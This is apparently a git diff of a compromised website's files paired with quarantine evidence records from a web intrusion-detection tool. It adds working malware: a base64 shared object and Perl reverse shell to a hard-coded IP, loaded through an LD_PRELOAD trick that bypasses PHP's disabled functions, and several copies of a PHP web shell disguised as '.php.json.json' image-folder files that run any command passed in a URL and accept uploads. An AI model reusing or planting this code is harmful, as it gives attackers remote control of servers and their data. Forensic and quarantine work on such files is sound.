AAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAASAEAABIADAAUCQAAAAAAACkAAAAAAAAAUgEAABIADQBcCQAAAAAAAAAAAAAAAAAAWAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAbAEAABIADADgCAAAAAAAADQAAAAAAAAAcAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAhAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAkwEAABIADAA9CQAAAAAAAB0AAAAAAAAAnQEAABAAGABwECAAAAAAAAAAAAAAAAAAogEAABAAGABoECAAAAAAAAAAAAAAAAAArgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAwQEAACAAAAAAAAAAAAAAAAAAAAAAAAAA1QEAABIAAAAAAAAAAAAAAAAAAAAAAAAA6wEAABIAAAAAAAAAAAAAAAAAAAAAAAAA/QEAACAAAAAAAAAAAAAAAAAAAAAAAAAAFwIAACIAAAAAAAAAAAAAAAAAAAAAAAAAMwIAABIACQAYBwAAAAAAAAAAAAAAAAAAOQIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNjk3MgBfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1teQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAaG9vay5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAGRhZW1vbml6ZQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AHB3bgBzaWduYWxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGNobW9kQEBHTElCQ18yLjIuNQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElCQ18yLjIuNQBleGl0QEBHTElCQ18yLjIuNQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplQEBHTElCQ18yLjIuNQ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';
+$meterpreter = 'cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTY3LjE3Mi40My44OCI7JHA9NDQzO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Jwo=';
+file_put_contents('/nas/content/live/paetc/co/css/xx//chankro.so', base64_decode($hook));
+file_put_contents('/nas/content/live/paetc/co/css/xx//acpid.socket', base64_decode($meterpreter));
+putenv('CHANKRO=/nas/content/live/paetc/co/css/xx//acpid.socket');
+putenv('LD_PRELOAD=/nas/content/live/paetc/co/css/xx//chankro.so');
+mail('a','a','a','a');?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/images/2017/ch.txt.evidence.json b/var/www/hosting/archline.hu/www/images/2017/ch.txt.evidence.json
new file mode 100644
index 0000000..a3c1489
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/2017/ch.txt.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3515",
+  "log_excerpt": "[quarantine] www.archline.hu:images/2017/ch.txt -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/2017/ch.txt)",
+  "original_sha256": "f967b3425b2c080584e488492715af17fc29a5f5ef9f7f27d0108dbf128ecb15",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1631683333,
+    "size": 12026,
+    "uid": 20043
+  },
+  "rel_path": "images/2017/ch.txt",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json.evidence.json
new file mode 100644
index 0000000..3f8cd22
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3510",
+  "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_3bh4rjb2.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838205,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_3bh4rjb2.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json.evidence.json
new file mode 100644
index 0000000..52a80e0
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3494",
+  "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_46wa7ggf.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857952,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_46wa7ggf.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json.evidence.json
new file mode 100644
index 0000000..5e89caa
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3489",
+  "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_8r32ttzj.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783858323,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_8r32ttzj.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json.evidence.json
new file mode 100644
index 0000000..88364f1
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3469",
+  "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_bggl9cgz.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857933,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_bggl9cgz.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json.evidence.json
new file mode 100644
index 0000000..87b91d0
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3509",
+  "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_s7knpv5f.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783861956,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_s7knpv5f.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json.evidence.json
new file mode 100644
index 0000000..e804933
--- /dev/null
